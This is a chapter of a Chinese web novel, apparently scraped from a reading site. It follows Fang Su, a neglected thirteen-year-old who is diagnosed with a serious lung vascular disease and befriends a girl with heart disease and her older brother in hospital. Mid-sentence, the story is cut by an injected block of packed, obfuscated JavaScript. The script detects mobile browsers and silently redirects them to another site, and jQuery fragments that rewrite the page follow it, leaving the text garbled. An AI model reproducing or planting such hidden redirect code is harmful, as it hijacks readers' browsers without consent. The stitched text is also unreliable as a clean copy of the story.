在镇上的这个破旧楼房里住了一段时间，不再需要喂猪的方愫有了新的任务。每天早起要把房间里光溜溜的水泥地拖扫干净，再去用电饭煲做饭。


    自以为很穷很穷的家庭，方愫却开始要每天早上为弟弟煮奶粉喝，多喝几天这小子就不愿意了，跟妈妈说这奶粉掺了假，太淡了没有奶的味道。


    方愫上完厕所出来，对着镜子照了照，把嘴上一圈奶白色舔干净，确定没有痕迹了才出了门。


    没什么事做，妈妈叫她中午回来做饭，结果方愫在外面一溜达就是一整天，回到家依旧天黑了，楼房的防盗门锁得更加严实，现在没了狗窝，方愫就在门口的角落缩着。


    上上下下的邻居看见她都频频回头，有个嬢嬢在路过三次后终于没忍住开口问方愫：“大人不在家吗？你蹲在这里。”


    方愫睁着圆圆大眼，声音清晰又委屈：“他们在家，但不给我开门。”


    这个嬢嬢不愿多管闲事，撇撇嘴走了，没过几分钟又折回来，在防盗门上“砰砰”砸了几下，大声喊“邻居邻居，开开门。”


    声音太大，楼道的回声也大，本来都有些犯困的方愫一下子激灵了。


    她被放进了屋子，但塑料苍蝇拍的把子遭了秧，断在了寿命不足半月的这一天，第二天又得去买苍蝇拍了，方愫趴在客厅阳台的脏兮兮的沙发上，有点怀念小狗的窝了，她赶走小土狗时，小土狗的窝是被睡暖和了的。


    因为她的初一没有上完，老师打过好几次电话，父母敷衍了几句，学期又快结束了，就给她找了个偏远一些，学生少，门槛低的学校，安排方愫下半学期再入学，方愫平时出门去，就是找了个安静小凉亭，把剩下的课本知识自己学学。


    经历过一个并不算正规的插班考试后，方愫总算成功入学。


    这是一个寄宿学校，离家挺远，方愫带着自己盖了七八年的小被子住了进去。


    在学校安安稳稳的，以至于每周一次的假期方愫都不想回家，学校对成绩优异的学生发放补助，方愫为了这些钱比以前更努力，得到的这些钱就足够交她在学校的生活费，所以她几乎整个学期下来都不需要与家里联系，除了过年的时候回家。


    十三岁的这个夏天，一如容城往常的天气，闷热又难见清晰的太阳轮廓，它在遥远的高空只有一团白晕，学校的塑胶跑道上，方愫通常都是那个跑在最前面的活力担当，体育课考耐力的长跑她总能排女子第一。


    她活力充沛，从来没有请过例假以及病假，已经成为了学校里各方面的优等生，这一年里，个子也窜了很多，已经和大多数女生差不多高，不再像以前那么瘦瘦小小，学校里不太丰盛美味的饭菜却让她还长了不少肉。


    如此灿如阳光的女孩子，在这个下午的体育课上，突然跌倒在地。


    身边的同学都围过来关心她，方愫穿着短袖校服，坐在地上，努力仰着脑袋呼吸，眼前看不见任何人，脑子一片空白，体育老师扒开人群，看见方愫苍白面上满脸的汗，短促呼吸又急又轻，嘴唇开始发乌，他赶紧把方愫抱起来，开车带着她去了市里的医院。


    老师在这个时候打电话给方愫父母，方愫模糊的意识里，听见老师打电话的声音，方才得知两人在这很长一段时间里都在闹离婚，他们几乎都快忘记了这个孩子的存在。


    方愫在输了一天液又吸了半天氧后，才渐渐恢复了精神，班主任来接替体育老师，推着她上下奔走，带她去检查排队缴费，她像是被突然抽走了活力，满面都是苍白呆滞，被老师放在人群之外，她靠在轮椅里呆呆地望着前面排队的人群。


    方愫很少进医院，以前在乡下满山跑，有一点感冒拖一拖也好了，没得过什么重病。


    一进医院，就进的是这种大医院。


    这是市里比较权威的一家国营医院，排着队缴费的人群乌央央一片，各式各样的人。打着石膏吊着的右臂间夹着检查单，靠在圆形大理石柱上用左手刷着手机，仍发出阵阵笑声的男人；抱着满头留置针还一直在哭的婴儿，一直紧紧盯着排号显示屏的年轻母亲；不停咳嗽，终于咳顺畅了，一口痰吐在卫生纸里，包着扔到垃圾桶的中年男人，看了眼检查单上难以支付的昂贵费用，把单子跟着卫生纸一起扔掉，转身出了医院的背影。


    窗口不远处，一个身形高挑颀长的男生格外惹眼，与黑压压的人群有些格格不入。


    他看上去，像是电视里演的贵族人家的孩子，举手投足都是优雅，静静站在那里没有任何多余小动作。


    方愫视线都没有转动过，只呆呆盯着那边看了很久，直到那个男生察觉到了炽热的视线，转过脸来，方愫才恍然，视线上下转了转，低下了头。


    开了单子回到病房，班主任看着手上的单子，检查费用是一笔不小的数字，老师的薪资并不高，这两日前前后后已经花了不少的钱。她面露难色，把手机递给方愫，叫她再给父母打电话。


    “老师，我不检查了，你看我现在不是好了吗？”方愫努力平缓呼吸，就是感觉心口有些闷闷地痛，不敢皱眉。


    老师看着方愫发乌的唇色还是心疼，“你要把病治好才能回去好好读书。”


    现在检查结果还没有出来，医生也不允许她出院，方愫从床头的书包里掏出来一张银行卡，这是学校办的打奖学金的卡，她递给班主任，“老师，我这里有钱，如果不够，等下学期的奖学金下来我就还给老师，现在我们先出院吧。”


    老师最后还是去把那笔检查费交了，因为在方愫递出银行卡后没多久，她又开始急促呼吸，脸色苍白，无力地靠在了床边。


    又过去了快一个星期，检查的费用由校方领导想办法为她垫付了，但她父母到现在也没有来。


    方愫的检查结果出来，刚被确诊为先天性肺血管发育异常，已经很严重了。


    她坐在门口冰冷的椅子上，偷听着医生与老师的对话。


    一位高高大大的男生推着一个可爱的姑娘路过她，姑娘打着瞌睡，膝上搭的一本书落了下来，掉在方愫脚边。


    方愫弯腰去捡，书里的画页展开，是烟雨朦胧，青山迤逦的祖国山河画卷。


    打瞌睡的姑娘被惊醒，方愫拿起画册，递给她，抬眼对上了她身后那男生的目光。


    是那日在缴费窗口见过的男生，看上去只有十七八岁的年纪，却因面上始终没有什么明显的喜怒哀伤而显得十分有距离感，方愫没有见过比他还长得好看的男孩子。


    瞌睡姑娘眸光灿烂，一笑，嘴角窝出两个酒窝，“谢谢，我一不小心睡着了，诶，小姐姐你再帮我看看，我最后一页贴的那张明信片有没有掉呀。”


    方愫不想多管闲事，但看见女孩的手上还挂着吊瓶，身后那个帅气的男孩子视线在方愫身上停留一瞬又移开，没有讲话。


    方愫翻到最后一页，果然有一张粘在背封上的明信片，是眼前女孩与西湖的合影，眉眼一如现在的灿烂，只是现在的嘴唇有些隐隐泛紫。


    跟方愫挺像的，都是个乌嘴，还挺搞笑的，她笑声没忍住。


    女孩偏偏脑袋，凑方愫近了些，“小姐姐你笑起来眼睛弯弯的像月亮，好好看呀。”


    方愫抿了抿唇，说了声：“谢谢，你笑起来更好看。”


    两人年纪看上去差不多大，不过方愫更瘦，这个姑娘脸要稍圆润一些，很有营养的样子。


    诊室里，医生跟老师的对话传了出来，大概的意思就是，治疗风险很大，费用很高，如果不治疗，也没有几年可活了。


    方愫的笑容变得僵硬。


    面前的两人显然也听见了，女孩伸出没有输液的左手在方愫面前，笑着说：“你好，我叫程茵，这是我哥哥程予弛，小姐姐长得好漂亮，我可以和你做朋友吗？”


    方愫愣愣地呆了好半晌，视线在两人身上顿了顿，伸出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483174|169682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手，又觉得手不对，换成左手，握了过去。


    程茵感受到了微微有些颤抖的冰凉的手，抬眼看了看诊室门口的患者姓名，听见方愫声音低低：“方愫。”


    她坐回了椅子里，没太听清程茵说了什么，那个帅气的男生推着她走了。


    老师还在诊室，方愫悄悄离开往回走，但走错了病房，进到里面看见了刚刚才认识的程茵靠在床上手中捧着画册，她和哥哥两双眼睛都好奇地看着方愫，她闻到了浓重的花香，打了个喷嚏后，扭了身子退出来，四下张望一圈后，好半晌才分辨出了方位，找到了自己的病房。


    他们村子里总在死人的，有女人因白天与老公大吵一架，当晚就喝了农药去了；有男人三更半夜骑着摩托带情人兜风，双双坠崖殉情；有天天争吵的老夫老妻，老爷爷被狗咬死了，奶奶与狗大战三百回合后，同归于尽。


    人的生命本就脆弱，死亡不可怕，一眼望到头的活着才可怕。


    在那个可怕的村子里，所有人的一辈子都能一眼望穿。


    方愫躺回了床上，程茵独自撑着轮椅从门口进来。


    方愫盖上被子，翻过身去背对着门口。


    程茵的轮椅声音静悄悄的，她靠近了方愫的床边，发出一阵稀里哗啦的声音，是硬质塑料包装的声音，方愫又闻到了苹果的香气。


    “方愫，看我给你带什么来了？”程茵声音轻轻软软，把带来的零食放在她床边的小桌子上，方愫的桌上只有班里派来的学生代表送的果篮，包装完好，她什么也没有吃。


    “这个苹果是我哥哥亲手削的，他叫我给你送过来。”


    方愫依然没有转身，声音闷闷的，“为什么给我送苹果？”


    “因为吃甜的东西可以让心情变好呀。”


    “有的苹果酸。”


    “你尝尝嘛。”程茵说完，还咬了一口苹果，发出清脆的声音。


    方愫掀了被子转过去，“你不是叫我尝尝，怎么自己……”


    程茵咬着一半苹果，把另一半递给方愫，塞到了方愫嘴里。


    “听说我出生那年我爸就死了。”程茵嚼着苹果，听上去水分很足，方愫只要到一半，听见程茵开始给她讲故事。


    “我感觉老妈骗我的，因为哥哥曾经说漏嘴，说他还活着呢。”


    “年初的时候我就被诊断出心脏病啦，但是我到现在也没有见过我爸长啥样。”


    方愫心里紧了紧：“心脏病？”


    “嗯，有的时候一天会疼七八次，疼得我躺在床上大口大口喘气，也不敢使劲喘，会扯着疼，一动也不敢动，眼泪就自己啪嗒啪嗒往下掉。”


    程茵捂了捂心口，说：“就是这里，发病的时候就像是有一只大手在里面又揪又撕的，疼死我了。”


    方愫盘腿坐在床上，看着程茵发紫的唇色，手不自觉也捂在了心口。


    “其实我见我妈的次数也不多，大多数日子都是哥哥在照顾我，别看他跟小大人似的，他也才十八岁，刚参加完高考。”


    “对了，我七月十九号过十四岁生日，小方愫你呢？”程茵嚼完了苹果，在方愫桌子上翻找半天，方愫说：“没有纸。”于是程茵在病号服上擦了擦黏糊糊的手。


    “我五月二十八的生日，今年十三岁。”


    “那我果然没有猜错，你比我小耶，你离开过容城吗？”


    “你在哪里上学呀？”


    程茵的话很多，最后，程予弛来，把她拉走了，方愫才又靠回床头，发着呆。


    她翻了翻刚从程茵拿过来的一堆零食，里面有许多是方愫在小卖部都不曾见过的。


    还有一包邻居姐姐曾经给她吃过的小白兔奶糖。


    护士姐姐来为她打止痛针，她语气并不温柔地对方愫说：“这次的药量有些重，一会可能会口苦，可以先把糖含在嘴里。”但一边又帮她拆开糖纸，把奶白色的糖递到她嘴边。